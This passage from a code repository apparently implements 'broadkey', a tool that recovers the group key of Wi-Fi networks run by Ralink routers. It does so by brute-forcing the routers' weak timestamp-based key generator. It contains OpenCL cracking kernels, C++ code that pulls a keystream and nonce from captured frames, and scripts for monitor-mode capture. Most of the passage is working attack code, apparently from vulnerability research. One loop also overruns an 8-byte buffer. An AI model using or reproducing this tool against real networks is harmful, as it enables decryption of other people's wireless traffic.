41 | memcpy_offset10(buff, output[i - 1]); 42 | buff[10] |= i << 8; 43 | prf256_counter(buff, output[i]); 44 | 45 | // Continue with previously increased timestamps, and 46 | // new 'fork' where an increase in timestamp happens 47 | for (int j = 0; j < i; ++j) 48 | { 49 | memcpy_offset10(buffinc, output[j]); 50 | buffinc[10] |= i << 8; 51 | prf256_counter(buffinc, output[j]); 52 | } 53 | } 54 | } 55 | 56 | 57 | __kernel void search_gtk(__global uint gmks[224][8], __global uint *dst) 58 | { 59 | unsigned int delta = get_global_id(0); 60 | unsigned int gmkid = get_global_id(1); 61 | // Load GMK, generate GNONCEs, and derive GTK 62 | uint gmk[8]; 63 | uint gnonce[32][8]; 64 | uint data[10] = {0x%(MACADDR1)08X, 0x%(MACADDR2)08X}; 65 | uint gtk[8]; 66 | // Variables to test decryption with GTK 67 | uint nonce[4] = {0x%(NONCE1)08X, 0x%(NONCE2)08X, 0x%(NONCE3)08X, 0x%(NONCE4)08X}; //{0x2C380001, 0xBC69C14A, 0x00000000, 0x0100B800}; 68 | uint xorpad[4]; 69 | AES_KEY key; 70 | 71 | // 1. Pull the GMK we are given 72 | #pragma unroll 73 | for (int i = 0; i < 8; ++i) 74 | gmk[i] = gmks[gmkid][i]; 75 | 76 | // 2. Generate possible gnonce's for requested start time 77 | ralink_gen_random_all(%(STARTTIME)d + delta, gnonce); 78 | 79 | // 3. Derive the possible GTKs and check their validity 80 | for (int i = 0; i < 32; ++i) 81 | { 82 | memcpy_offset6(data, gnonce[i]); 83 | prf256_gtk(gmk, data, gtk); 84 | 85 | // Set the key and derive the AES-CTR keystream (input/output is Little Endian) 86 | AES_set_encrypt_key(gtk, &key); 87 | AES_encrypt(nonce, xorpad, &key); 88 | 89 | if (xorpad[0] == 0x%(KEYSTREAM1)08X && (xorpad[1] & 0x0000FFFF) == 0x%(KEYSTREAM2)08X) 90 | { 91 | COPY_GTK(dst, gtk); 92 | dst[8] = gmkid; 93 | dst[9] = delta; 94 | dst[10] = i; 95 | 96 | // Copy some keystream for demo 97 | for (int j = 0; j < 100; ++j) 98 | { 99 | nonce[3] = (nonce[3] & 0x00FFFFFF) | ((j + 1) << 24); 100 | AES_encrypt(nonce, xorpad, &key); 101 | dst[10 + j * 4 + 1] = xorpad[0]; 102 | dst[10 + j * 4 + 2] = xorpad[1]; 103 | dst[10 + j * 4 + 3] = xorpad[2]; 104 | dst[10 + j * 4 + 4] = xorpad[3]; 105 | } 106 | 107 | return; 108 | } 109 | } 110 | } 111 | 112 | 113 | #if 0 114 | /** 115 | * Function to easily test our code so far. 116 | * 117 | * @param time Time in little-endian (native format) 118 | * @param output 32-bytes output in Big Endian 119 | */ 120 | void ralink_gen_random(uint time, uint __private *output) 121 | { 122 | // Hardcode the MAC address and insert the time (both in big endian) 123 | uint buff[11] = {0x%(MACADDR1)08X, 0x%(MACADDR2)08X}; // 0x382C4AC1, 0x69BC0000 124 | buff[1] |= ((time >> 8) & 0xFF) | ((time & 0xFF) << 8); 125 | buff[2] = ((time & 0xFF000000) >> 8) | ((time & 0x00FF0000) << 8); 126 | 127 | // First loop 128 | prf256_counter(buff, output); 129 | 130 | // Other loops 131 | #pragma unroll 132 | for (int i = 1; i < 32; i++) 133 | { 134 | // buff = AA || time || output || i 135 | memcpy_offset10(buff, output); 136 | buff[10] |= i << 8; 137 | 138 | // output = PRF(zeros, "Init Counter", buff) 139 | prf256_counter(buff, output); 140 | } 141 | } 142 | 143 | 144 | /** 145 | * This function is commented out because compiling it is horribly slow. If we replace 146 | * the constants 4294894231 and 4294894235, the compilation process is much faster. 147 | * 148 | * This kernel should return: 149 | * ['0xd0fab4adL', '0xa148bd69L', '0xbff74c47L', '0x3fa98f8dL', 150 | * '0xe0e19e90L', '0xc8f1d7b3L', '0xcd9028d1L', '0x902759f5L'] 151 | * When used with the MAC address `{0x382C4AC1, 0x69BC0000}` in `ralink_gen_random`. 152 | */ 153 | __kernel void test_genrandom_gtk(uint __global *gtk) 154 | { 155 | uint gmk[8] = {}; 156 | uint gnonce[8] = {}; 157 | uint data[10] = {0x382C4AC1, 0x69BC0000}; 158 | uint temp[8]; 159 | 160 | // ['0x4a16ebffL', '0x9ef2be9L', '0xe96c8965L', '0xf82d3f8L', '0xe8a5862aL', '0xbe716feL', '0x242eb3eL', '0x4b4f74b6L'] 161 | ralink_gen_random(4294894231, gmk); 162 | // ['0xa85d097fL', '0x52ad4cc1L', '0x4e45866L', '0x173e241L', '0xced4fdbaL', '0x25695f7cL', '0x1c4b03ceL', '0x468a7857L'] 163 | ralink_gen_random(4294894235, gnonce); 164 | 165 | memcpy_offset6(data, gnonce); 166 | prf256_gtk(gmk, data, temp); 167 | 168 | for (int i = 0; i < 8; ++i) 169 | gtk[i] = temp[i]; 170 | } 171 | #endif 172 | 173 | 174 | __kernel void test_aes(__global uint *output) 175 | { 176 | uint nonce[4] = {0x2C380001, 0xBC69C14A, 0x00000000, 0x0100B800}; // Direct output of airtun-ng (little endian) 177 | uint tk[4] = {0x7de2f673, 0x6b436441, 0xC6DC6D4E, 0xAE8812F8}; // SWAP32 output of airtun-ng (big endian) 178 | uint xorpad[4] = {0xD4E415CB, 0xD038A82B, 0x10A673DE, 0xEA25B206}; // Direct output of airtun-ng (little endian) 179 | AES_KEY key; 180 | 181 | // This is correct, apart from Endiannes perhaps 182 | AES_set_encrypt_key(tk, &key); 183 | AES_encrypt(nonce, xorpad, &key); 184 | 185 | for (int i = 0; i < 4; ++i) 186 | output[i] = xorpad[i]; 187 | 188 | return; 189 | } 190 | 191 | 192 | -------------------------------------------------------------------------------- /broadkey/opencl/util.cl: -------------------------------------------------------------------------------- 1 | #ifndef OPENCL_UTIL_CL__ 2 | #define OPENCL_UTIL_CL__ 3 | 4 | #define COPY_PAD(dst, src) \ 5 | (dst)[0] = (src)[0]; \ 6 | (dst)[1] = (src)[1]; \ 7 | (dst)[2] = (src)[2]; \ 8 | (dst)[3] = (src)[3]; \ 9 | (dst)[4] = (src)[4]; 10 | 11 | #define COPY_GTK(dst, src) \ 12 | (dst)[0] = (src)[0]; \ 13 | (dst)[1] = (src)[1]; \ 14 | (dst)[2] = (src)[2]; \ 15 | (dst)[3] = (src)[3]; \ 16 | (dst)[4] = (src)[4]; \ 17 | (dst)[5] = (src)[5]; \ 18 | (dst)[6] = (src)[6]; \ 19 | (dst)[7] = (src)[7]; 20 | 21 | #define COPY_BLOCK(dst, src) \ 22 | (dst)[0] = (src)[0]; \ 23 | (dst)[1] = (src)[1]; \ 24 | (dst)[2] = (src)[2]; \ 25 | (dst)[3] = (src)[3]; \ 26 | (dst)[4] = (src)[4]; \ 27 | (dst)[5] = (src)[5]; \ 28 | (dst)[6] = (src)[6]; \ 29 | (dst)[7] = (src)[7]; \ 30 | (dst)[8] = (src)[8]; \ 31 | (dst)[9] = (src)[9]; \ 32 | (dst)[10] = (src)[10]; \ 33 | (dst)[11] = (src)[11]; \ 34 | (dst)[12] = (src)[12]; \ 35 | (dst)[13] = (src)[13]; \ 36 | (dst)[14] = (src)[14]; \ 37 | (dst)[15] = (src)[15]; 38 | 39 | #define SET_BLOCK(dst, value) \ 40 | (dst)[0] = value; \ 41 | (dst)[1] = value; \ 42 | (dst)[2] = value; \ 43 | (dst)[3] = value; \ 44 | (dst)[4] = value; \ 45 | (dst)[5] = value; \ 46 | (dst)[6] = value; \ 47 | (dst)[7] = value; \ 48 | (dst)[8] = value; \ 49 | (dst)[9] = value; \ 50 | (dst)[10] = value; \ 51 | (dst)[11] = value; \ 52 | (dst)[12] = value; \ 53 | (dst)[13] = value; \ 54 | (dst)[14] = value; \ 55 | (dst)[15] = value; 56 | 57 | inline void memcpy_offset6(uint __private *dst, uint __private *src) 58 | { 59 | dst[1] = (dst[1] & 0xFFFF0000) | (src[0] & 0xFFFF0000) >> 16; 60 | #pragma unroll 61 | for (int i = 0; i < 7; ++i) { 62 | dst[2 + i] = ((src[i] & 0x0000FFFF) << 16) | ((src[i + 1] & 0xFFFF0000) >> 16); 63 | } 64 | dst[9] = (src[7] & 0x0000FFFF) << 16; 65 | } 66 | 67 | inline void memcpy_offset10(uint __private *dst, uint __private *src) 68 | { 69 | dst[2] = (dst[2] & 0xFFFF0000) | (src[0] & 0xFFFF0000) >> 16; 70 | #pragma unroll 71 | for (int i = 0; i < 7; ++i) { 72 | dst[3 + i] = ((src[i] & 0x0000FFFF) << 16) | ((src[i + 1] & 0xFFFF0000) >> 16); 73 | } 74 | dst[10] = (src[7] & 0x0000FFFF) << 16; 75 | } 76 | 77 | #endif // OPENCL_UTIL_CL__ 78 | -------------------------------------------------------------------------------- /broadkey/ralink.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * TODO: Strip away the CRC if present based on the radiotap header. 3 | * 4 | * derive_gtk: 2 calls to gen_random, 2 SHA1 calls 5 | * gen_random: 32 calls to ieee80211_prf_256 6 | * ieee80211_prf_256: 2 calls to HMAC-SHA1 7 | * HMAC-SHA1: 2 calls to SHA1 8 | * 9 | * --> In total 2 * 32 * 2 * 2 + 2 == 256 calls to SHA1. 10 | */ 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #define PY_ARRAY_UNIQUE_SYMBOL biases_ARRAY_API 23 | #define NO_IMPORT_ARRAY 24 | #include 25 | 26 | #include "crypto.h" 27 | #include "mypcap.h" 28 | #include "ieee80211header.h" 29 | #include "util.h" 30 | #include "crc.h" 31 | #include "ralink.h" 32 | 33 | #define MAX_PACKETLEN 2048 34 | 35 | 36 | /** 37 | * Hash info to pass to a GPU-based bruteforcer 38 | */ 39 | typedef struct __attribute__((__packed__)) wpagmk_t { 40 | /** Timestamp of preceeding beacon */ 41 | uint64_t tsf; 42 | /** Encryption type (0=Unknown, 1=TKIP, 2=CCMP) */ 43 | EncType enctype; 44 | /** Nonce that is encrypted to form first ciphertext block */ 45 | struct __attribute__((__packed__)) { 46 | uint8_t ccmflags; 47 | uint8_t nonceflags; // TODO: This contains 4-bit priority, 1-bit management flag, 3-bit reserved 48 | uint8_t a2[6]; 49 | uint8_t pn5; 50 | uint8_t pn4; 51 | uint8_t pn3; 52 | uint8_t pn2; 53 | uint8_t pn1; 54 | uint8_t pn0; 55 | uint16_t counter; 56 | } nonce; 57 | /** 58 | * Derive keystream from the plaintext. Only first 6 bytes are assured to be correct. 59 | * Last two bytes are only correct for IPv4 traffic. 60 | */ 61 | uint8_t keystream[8]; 62 | /** Captured packet in raw format */ 63 | uint16_t packetlen; 64 | uint8_t packet[MAX_PACKETLEN]; 65 | } wpagmk_t ; 66 | 67 | 68 | PyObject * py_rl_get_ssids(PyObject *self, PyObject *args) 69 | { 70 | const char *pcapfile; 71 | uint8_t buf[2048]; 72 | FILE *pcap; 73 | int rval; 74 | 75 | // Parse parameters 76 | if (!PyArg_ParseTuple(args, "s", &pcapfile)) 77 | return NULL; 78 | 79 | pcap = pcap_open(pcapfile, false); 80 | if (!pcap) { 81 | PyErr_Format(PyExc_ValueError, "Unable to open file as pcap: %s", pcapfile); 82 | return NULL; 83 | } 84 | 85 | PyObject *ssidset = PySet_New(NULL); 86 | 87 | // 88 | // Step 1 -- Got over all packets and extract the SSIDs 89 | // 90 | ieee80211_radiotap_header *radiotap = (ieee80211_radiotap_header *)buf; 91 | while ((rval = pcap_read_packet(pcap, buf, sizeof(buf), NULL)) > 0) 92 | { 93 | ieee80211header *hdr = (ieee80211header *)(buf + radiotap->it_len); 94 | ieee80211fixedparams *params = (ieee80211fixedparams*)(hdr + 1); 95 | ieee80211tlv *tlv = (ieee80211tlv*)(params + 1); 96 | unsigned caplen = (unsigned)rval; 97 | 98 | if (caplen < IEEE80211_MINSIZE || hdr->fc.type != TYPE_MNGMT || hdr->fc.subtype != MNGMT_BEACON) 99 | continue; 100 | 101 | // Sanity check on header length 102 | unsigned hdrlen = sizeof(*hdr) - sizeof(*params); 103 | if (caplen < hdrlen) { 104 | PySys_WriteStdout("Warning: invalid header of beacon packet (too short)"); 105 | continue; 106 | } 107 | 108 | // Extract the SSID 109 | unsigned tlvlen = caplen - hdrlen; 110 | ieee80211tlv *ssidtlv = ieee80211_get_tlv(tlv, 0, tlvlen); 111 | if (ssidtlv == NULL) { 112 | PyErr_Format(PyExc_ValueError, "Warning: beacon did not contain SSID TLV (tlvlen=%u, tag=%d)\n", tlvlen, tlv->tag); 113 | Py_RETURN_NONE; 114 | } 115 | 116 | PyObject *ssid = Py_BuildValue("(s#s#)", ssidtlv->value, ssidtlv->length, hdr->addr2, 6); 117 | PySet_Add(ssidset, ssid); 118 | Py_DECREF(ssid); 119 | } 120 | 121 | // Return hash info to python 122 | return ssidset; 123 | } 124 | 125 | 126 | int pcap_extract_hash(const char *pcapfile, const uint8_t bssid[6], wpagmk_t *hashinfo) 127 | { 128 | FILE *pcap; 129 | uint8_t buf[2048]; 130 | bool foundnetwork = false; 131 | int rval; 132 | 133 | pcap = pcap_open(pcapfile, false); 134 | if (!pcap) return -1; 135 | 136 | 137 | // 138 | // Step 1 -- Find a beacon to extract the encryption type 139 | // 140 | 141 | ieee80211_radiotap_header *radiotap = (ieee80211_radiotap_header *)buf; 142 | while (!foundnetwork && (rval = pcap_read_packet(pcap, buf, sizeof(buf), NULL)) > 0) 143 | { 144 | ieee80211header *hdr = (ieee80211header *)(buf + radiotap->it_len); 145 | ieee80211fixedparams *params = (ieee80211fixedparams*)(hdr + 1); 146 | ieee80211tlv *tlv = (ieee80211tlv*)(params + 1); 147 | unsigned caplen = (unsigned)rval; 148 | 149 | if (caplen < IEEE80211_MINSIZE || hdr->fc.type != TYPE_MNGMT || hdr->fc.subtype != MNGMT_BEACON) 150 | continue; 151 | 152 | // Sanity check on header length 153 | unsigned hdrlen = sizeof(*hdr) - sizeof(*params); 154 | if (caplen < hdrlen) { 155 | PySys_WriteStdout("Warning: invalid header of beacon packet (too short)"); 156 | continue; 157 | } 158 | 159 | if (hdr->fc.type != TYPE_MNGMT || hdr->fc.subtype != MNGMT_BEACON) 160 | continue; 161 | 162 | if (memcmp(hdr->addr2, bssid, 6) != 0) 163 | continue; 164 | 165 | // Parse group key cipher 166 | unsigned tlvlen = caplen - hdrlen; 167 | ieee80211tlv *wpatlv = ieee80211_get_vendor_tlv(tlv, (uint8_t*)"\x00\x50\xf2", 1, tlvlen); 168 | ieee80211tlv *rsntlv = ieee80211_get_tlv(tlv, 48, tlvlen); 169 | 170 | if (wpatlv == NULL && rsntlv == NULL) { 171 | PyErr_Format(PyExc_Exception, "Beacon does not contain WPA or RSN Information Element"); 172 | return -1; 173 | } 174 | 175 | // Extract group cipher from either RSN or WPA elemnt 176 | uint8_t *multicastcipher = rsntlv ? rsntlv->value + 2 : wpatlv->value + 6; 177 | if (memcmp(multicastcipher, "\x00\x50\xf2\x02", 4) == 0 || memcmp(multicastcipher, "\x00\x0f\xac\x02", 4) == 0) { 178 | hashinfo->enctype = EncType_TKIP; 179 | } else if (memcmp(multicastcipher, "\x00\x50\xf2\x04", 4) == 0 || memcmp(multicastcipher, "\x00\x0f\xac\x04", 4) == 0) { 180 | hashinfo->enctype = EncType_CCMP; 181 | } else { 182 | PyErr_Format(PyExc_Exception, "Unrecognized group cipher in WPA/RSN Information Element %x:%x:%x:%x", 183 | multicastcipher[0], multicastcipher[1], multicastcipher[2], multicastcipher[3]); 184 | return -1; 185 | } 186 | 187 | // Save other info and exit loop 188 | foundnetwork = true; 189 | } 190 | 191 | if (!foundnetwork) { 192 | PyErr_Format(PyExc_Exception, "Did not find beacon of BSSID %x:%x:%x:%x:%x:%x in capture", 193 | bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); 194 | return -1; 195 | } 196 | 197 | 198 | // 199 | // Step 2 -- Search for the first encrypted broadcast packet (and track tsf in beacons so we have the closest one) 200 | // 201 | 202 | while ((rval = pcap_read_packet(pcap, buf, sizeof(buf), NULL)) > 0) 203 | { 204 | ieee80211header *hdr = (ieee80211header *)(buf + radiotap->it_len); 205 | unsigned caplen = (unsigned)rval; 206 | 207 | if (caplen < sizeof(*hdr)) continue; 208 | 209 | if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == MNGMT_BEACON && memcmp(hdr->addr2, bssid, 6) == 0) 210 | { 211 | ieee80211fixedparams *params = (ieee80211fixedparams*)(hdr + 1); 212 | 213 | if (caplen < sizeof(*hdr) + sizeof(*params)) { 214 | PySys_WriteStdout("Invalid header of beacon packet (too short)\n"); 215 | continue; 216 | } 217 | 218 | hashinfo->tsf = params->timestamp; 219 | } 220 | else if (hdr->fc.type == TYPE_DATA && memcmp(hdr->addr2, bssid, 6) == 0 && ieee80211_broadcast_mac(hdr->addr1)) 221 | { 222 | if (!hdr->fc.protectedframe) { 223 | PyErr_Format(PyExc_Exception, "Network broadcasted unencrypted data frame"); 224 | return -1; 225 | } 226 | 227 | // strip away the CRC if present 228 | unsigned packetlen = caplen - radiotap->it_len; 229 | if (endswith_valid_crc(hdr, packetlen)) 230 | packetlen -= 4; 231 | 232 | if (packetlen > sizeof(hashinfo->packet)) { 233 | PySys_WriteStdout("Warning: skipping too large broadcast packet\n"); 234 | continue; 235 | } 236 | 237 | // Construct first NONCE used in AES-CRT encryption 238 | ccmpheader *ccmp = (ccmpheader*)((uint8_t*)hdr + ieee80211_hdrlen((uint8_t*)hdr)); 239 | hashinfo->nonce.ccmflags = 0x01; 240 | hashinfo->nonce.nonceflags = 0x00; // TODO: Set based on priority of the packet 241 | memcpy(hashinfo->nonce.a2, hdr->addr2, 6); 242 | hashinfo->nonce.pn5 = ccmp->pn5; 243 | hashinfo->nonce.pn4 = ccmp->pn4; 244 | hashinfo->nonce.pn3 = ccmp->pn3; 245 | hashinfo->nonce.pn2 = ccmp->pn2; 246 | hashinfo->nonce.pn1 = ccmp->pn1; 247 | hashinfo->nonce.pn0 = ccmp->pn0; 248 | hashinfo->nonce.counter = htons(1); 249 | 250 | // Expected keystream 251 | const uint8_t *ciphertext = (uint8_t *)(ccmp + 1); 252 | const uint8_t *plaintext = (const uint8_t *)"\xAA\xAA\x03\x00\x00\x00"; 253 | for (int i = 0; i < 20; ++i) 254 | hashinfo->keystream[i] = ciphertext[i] ^ plaintext[i]; 255 | hashinfo->keystream[6] = 0; 256 | hashinfo->keystream[7] = 0; 257 | 258 | // Copy packet 259 | memcpy(hashinfo->packet, hdr, packetlen); 260 | hashinfo->packetlen = packetlen; 261 | 262 | return 0; 263 | } 264 | } 265 | 266 | 267 | PySys_WriteStdout("End of function\n"); 268 | PyErr_Format(PyExc_Exception, "Found no broadcast data packet from BSSID %x:%x:%x:%x:%x:%x", 269 | bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); 270 | return -1; 271 | } 272 | 273 | 274 | PyObject * py_rl_extract_hash(PyObject *self, PyObject *args) 275 | { 276 | const char *pcapfile, *bssid; 277 | wpagmk_t hashinfo; 278 | int bssidlen; 279 | 280 | // Parse parameters 281 | if (!PyArg_ParseTuple(args, "ss#", &pcapfile, &bssid, &bssidlen)) 282 | return NULL; 283 | 284 | if (bssidlen != 6) { 285 | PyErr_Format(PyExc_ValueError, "BSSID MAC address was not 6 bytes (was %d)", bssidlen); 286 | return NULL; 287 | } 288 | 289 | // Extract first hash 290 | memset(&hashinfo, 0, sizeof(hashinfo)); 291 | if (pcap_extract_hash(pcapfile, (const uint8_t *)bssid, &hashinfo) < 0) 292 | return NULL; 293 | 294 | // Return hash info to python 295 | return Py_BuildValue("KIs#s#s#", hashinfo.tsf, hashinfo.enctype, &hashinfo.nonce, sizeof(hashinfo.nonce), 296 | hashinfo.keystream, sizeof(hashinfo.keystream), hashinfo.packet, hashinfo.packetlen); 297 | } 298 | 299 | 300 | PyObject * py_dump_packet(PyObject *self, PyObject *args) 301 | { 302 | const uint8_t *packet; 303 | int packetlen; 304 | 305 | // Parse parameters 306 | if (!PyArg_ParseTuple(args, "s#", &packet, &packetlen)) 307 | return NULL; 308 | 309 | dump_wlan_packet(packet, packetlen); 310 | 311 | // Return hash info to python 312 | Py_RETURN_NONE; 313 | } 314 | 315 | 316 | /** 317 | * Ralink's implementation of GenRandom, assuming only a single timestamp is used. 318 | * Mainly included here to verify and test implementations, debug simple cases, etc. 319 | * *NOT* optimized for speed! 320 | * 321 | * @param macaddr [IN] 6-byte MAC address 322 | * @param time [IN] 4-byte timestamp 323 | * @param random [OUT] 32-byte random output 324 | */ 325 | void ralink_gen_random(const uint8_t *macaddr, uint32_t time, uint8_t *output, int incpos = 32) 326 | { 327 | int i; 328 | uint8_t local[44] = {0}, zeros[32] = {0}; 329 | uint8_t label[] = {'I', 'n', 'i', 't', ' ', 'C', 'o', 'u', 'n', 't', 'e', 'r'}; 330 | 331 | /* initialize */ 332 | memset(output, 0, 32); 333 | memcpy(local, macaddr, 6); 334 | memcpy(&local[6], &time,sizeof(time)); 335 | 336 | for (i = 0; i < 32; i++) 337 | { 338 | /* output = macaddr || time || result || i */ 339 | memcpy(&local[10], output, 32); 340 | memcpy(&local[42], &i, 2); 341 | 342 | /* to increase timestamp during generation */ 343 | if (i == incpos) { 344 | time++; 345 | memcpy(&local[6], &time,sizeof(time)); 346 | } 347 | 348 | /* output = PRF(zeros, "Init Counter", local) */ 349 | ieee80211_prf_256(zeros, 32, label, 12, local, sizeof(local), output); 350 | } 351 | } 352 | 353 | 354 | /** 355 | * See 802.11-2012: 11.6.1.4 "Group key hierarchy" 356 | * 357 | * Bad documentation: "Any other pseudorandom function, such as that specified in 11.6.1.2, could 358 | * also be used." --> still need a strong seed! 359 | */ 360 | inline void derive_gtk(uint8_t *gmk, uint8_t *nonce, uint8_t *macaddr, uint8_t *output, size_t output_len) 361 | { 362 | uint8_t local[38]; 363 | uint8_t label[] = {'G', 'r', 'o', 'u', 'p', ' ', 'k', 'e', 'y', ' ', 'e', 'x', 'p', 'a', 'n', 's', 'i', 'o', 'n'}; 364 | 365 | memcpy(local, macaddr, 6); 366 | memcpy(&local[6], nonce, 32); 367 | 368 | // PRF(GMK, "Group key expansion", AA || GNonce) 369 | ieee80211_prf_256(gmk, 32, label, sizeof(label), local, sizeof(local), output); 370 | } 371 | 372 | 373 | PyObject * py_rl_test_crypto(PyObject *self, PyObject *args) 374 | { 375 | uint8_t random1[32], random2[32], gtk[32]; 376 | 377 | ralink_gen_random((uint8_t*)"\x38\x2C\x4A\xC1\x69\xBC", 4294894231, random1); 378 | if (0 != memcmp(random1, (uint8_t*)"\x4A\x16\xEB\xFF\x09\xEF\x2B\xE9\xE9\x6C\x89\x65\x0F\x82\xD3\xF8\xE8\xA5\x86\x2A\x0B\xE7\x16\xFE\x02\x42\xEB\x3E\x4B\x4F\x74\xB6", 32)) { 379 | PyErr_Format(PyExc_Exception, "ralink_gen_random failed on (38:2C:4A:C1:69:BC, 4294894231)\n"); 380 | pydump_buffer(random1, 32, "Unexepcted output was"); 381 | return NULL; 382 | } 383 | 384 | ralink_gen_random((uint8_t*)"\x38\x2C\x4A\xC1\x69\xBC", 4294894235, random2); 385 | if (0 != memcmp(random2, "\xA8\x5D\x09\x7F\x52\xAD\x4C\xC1\x04\xE4\x58\x66\x01\x73\xE2\x41\xCE\xD4\xFD\xBA\x25\x69\x5F\x7C\x1C\x4B\x03\xCE\x46\x8A\x78\x57", 32)) { 386 | PyErr_Format(PyExc_Exception, "ralink_gen_random failed on (38:2C:4A:C1:69:BC, 4294894235)\n"); 387 | return NULL; 388 | } 389 | 390 | derive_gtk(random1, random2, (uint8_t*)"\x38\x2C\x4A\xC1\x69\xBC", gtk, sizeof(gtk)); 391 | if (0 != memcmp(gtk, (uint8_t*)"\xD0\xFA\xB4\xAD\xA1\x48\xBD\x69\xBF\xF7\x4C\x47\x3F\xA9\x8F\x8D\xE0\xE1\x9E\x90\xC8\xF1\xD7\xB3\xCD\x90\x28\xD1\x90\x27\x59\xF5", 32)) { 392 | PyErr_Format(PyExc_Exception, "derive_gtk failed\n"); 393 | return NULL; 394 | } 395 | 396 | Py_RETURN_NONE; 397 | } 398 | 399 | 400 | PyObject * py_rl_generate_keys(PyObject *self, PyObject *args) 401 | { 402 | const uint8_t *macaddr = NULL; 403 | int macaddrlen; 404 | PyArrayObject *pyarray = NULL; 405 | npy_intp dims[2]; 406 | unsigned int startJiffies; 407 | unsigned int maxDelta; 408 | 409 | // 410 | // Step 1 -- Parse parameters 411 | // 412 | 413 | if (!PyArg_ParseTuple(args, "s#II", &macaddr, &macaddrlen, &startJiffies, &maxDelta)) 414 | return NULL; 415 | 416 | if (macaddrlen != 6) { 417 | PyErr_Format(PyExc_ValueError, "MAC address should be 6 bytes long"); 418 | return NULL; 419 | } 420 | else if (startJiffies < (1UL << 31)) { 421 | PyErr_Format(PyExc_ValueError, "Got gmkJiffies lower than 2^31 (you gave %d). This is likely wrong.", startJiffies); 422 | return NULL; 423 | } 424 | else if (maxDelta >= 20) { 425 | PyErr_Format(PyExc_ValueError, "Got gmkDelta higher than 20 (you gave %d). This is likely wrong.", maxDelta); 426 | return NULL; 427 | } 428 | 429 | 430 | // 431 | // Step 2 -- Generate the possible GMKs 432 | // 433 | 434 | dims[0] = maxDelta * 32; // split can occurs at 32 places 435 | dims[1] = 8; // the gmk is 8 words long (32 bytes) 436 | pyarray = (PyArrayObject *) PyArray_SimpleNew(2, dims, NPY_UINT32); 437 | if (pyarray == NULL) { 438 | PyErr_SetString(PyExc_MemoryError, "Could not allocate memory for GMKs"); 439 | return NULL; 440 | } 441 | 442 | uint32_t (*gmks)[][8] = (uint32_t (*)[][8])PyArray_DATA(pyarray); 443 | 444 | int index = 0; 445 | for (uint32_t delta = 0; delta < maxDelta; delta++) { 446 | for (int incpos = 1; incpos <= 32; incpos++) { 447 | //PySys_WriteStdout() 448 | 449 | ralink_gen_random(macaddr, startJiffies + delta, (uint8_t*)(*gmks)[index], incpos); 450 | 451 | // Already put in Big Endian for use in GPU SHA1 code 452 | for (int i = 0; i < 8; ++i) 453 | (*gmks)[index][i] = htonl((*gmks)[index][i]); 454 | 455 | index++; 456 | } 457 | } 458 | 459 | return (PyObject *)pyarray; 460 | } 461 | 462 | -------------------------------------------------------------------------------- /broadkey/ralink.h: -------------------------------------------------------------------------------- 1 | #ifndef broadkey_ralink_h__ 2 | #define broadkey_ralink_h__ 3 | 4 | PyObject * py_rl_test_crypto(PyObject *self, PyObject *args); 5 | 6 | PyObject * py_rl_get_ssids(PyObject *self, PyObject *args); 7 | PyObject * py_rl_extract_hash(PyObject *self, PyObject *args); 8 | PyObject * py_rl_generate_keys(PyObject *self, PyObject *args); 9 | 10 | PyObject * py_dump_packet(PyObject *self, PyObject *args); 11 | 12 | #endif // broadkey_ralink_h__ 13 | -------------------------------------------------------------------------------- /broadkey/setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup, Extension 2 | import os, numpy, glob 3 | 4 | os.environ['OPT'] = '-g -fwrapv -Wall' 5 | 6 | 7 | module1 = Extension('broadkey', 8 | sources = glob.glob('*.cpp') + glob.glob('../shared/*.cpp'), 9 | depends = glob.glob('*.h') + glob.glob('../shared/*.h'), 10 | extra_compile_args = ['-O3', '-std=c++0x'], 11 | extra_link_args = ['-O3', '-Wl,--no-undefined'], 12 | define_macros=[('NPY_NO_DEPRECATED_API', 'NPY_1_7_API_VERSION')], 13 | libraries = ['crypto', 'rt', 'python2.7', 'pcap', 'ssl'], 14 | include_dirs = [numpy.get_include(), '../shared']) 15 | 16 | setup (name = 'broadkey', 17 | version = '1.0', 18 | description = 'Brute-forcing bad 802.11 key generators', 19 | ext_modules = [module1]) 20 | -------------------------------------------------------------------------------- /scripts/1_set_monitor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$#" -ne 1 ]; then 4 | echo "Usage: $0 interface" 5 | exit 1 6 | fi 7 | 8 | INTERFACE=$1 9 | 10 | rfkill unblock wifi 11 | ifconfig $INTERFACE down 12 | sudo iw $INTERFACE set type monitor 13 | ifconfig $INTERFACE up 14 | iw $INTERFACE set channel 11 15 | -------------------------------------------------------------------------------- /scripts/2_make_capture.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from scapy.all import * 3 | import sys 4 | 5 | got_beacon = False 6 | got_data = False 7 | capture = [] 8 | mac_router = None 9 | 10 | def process_packet(p): 11 | global mac_router 12 | global got_beacon 13 | global got_data 14 | global capture 15 | 16 | print mac_router 17 | 18 | if p.addr1 != "ff:ff:ff:ff:ff:ff": 19 | return 20 | if p.addr2 != mac_router: 21 | return 22 | 23 | if not got_beacon and Dot11Beacon in p: 24 | print "\n[+] Got a beacon" 25 | got_beacon = True 26 | elif not got_data and Dot11WEP in p: 27 | print "\n[+] Got an encrypted broadcast packet" 28 | got_data = True 29 | else: 30 | sys.stdout.write(".") 31 | sys.stdout.flush() 32 | 33 | capture.append(p) 34 | 35 | 36 | def main(): 37 | """ 38 | You can also use tshark to capture only broadcast data from the Access Point: 39 | 40 | sudo tshark -i wlp0s20u1 -w testcapture.pcap -F pcap "wlan addr1 ff:ff:ff:ff:ff:ff && wlan addr3 38:2c:4a:c1:69:bc" 41 | 42 | But this scripts let's you know wheb a Beacon and Broadcast Data frame has been captured, 43 | and then automatically saves the capture and terminates. 44 | """ 45 | global mac_router 46 | global got_beacon 47 | global got_data 48 | global capture 49 | 50 | if len(sys.argv) != 3: 51 | print "Usage: %s interface macrouter" % sys.argv[0] 52 | quit(1) 53 | 54 | print "Capturing frames ..." 55 | conf.iface = sys.argv[1] 56 | mac_router = sys.argv[2] 57 | sniff(iface=conf.iface, prn=process_packet, stop_filter= lambda p: got_beacon and got_data) 58 | 59 | capname = "capture.pcap" 60 | wrpcap(capname, capture) 61 | print "[+] Wrote capture to %s\n" % 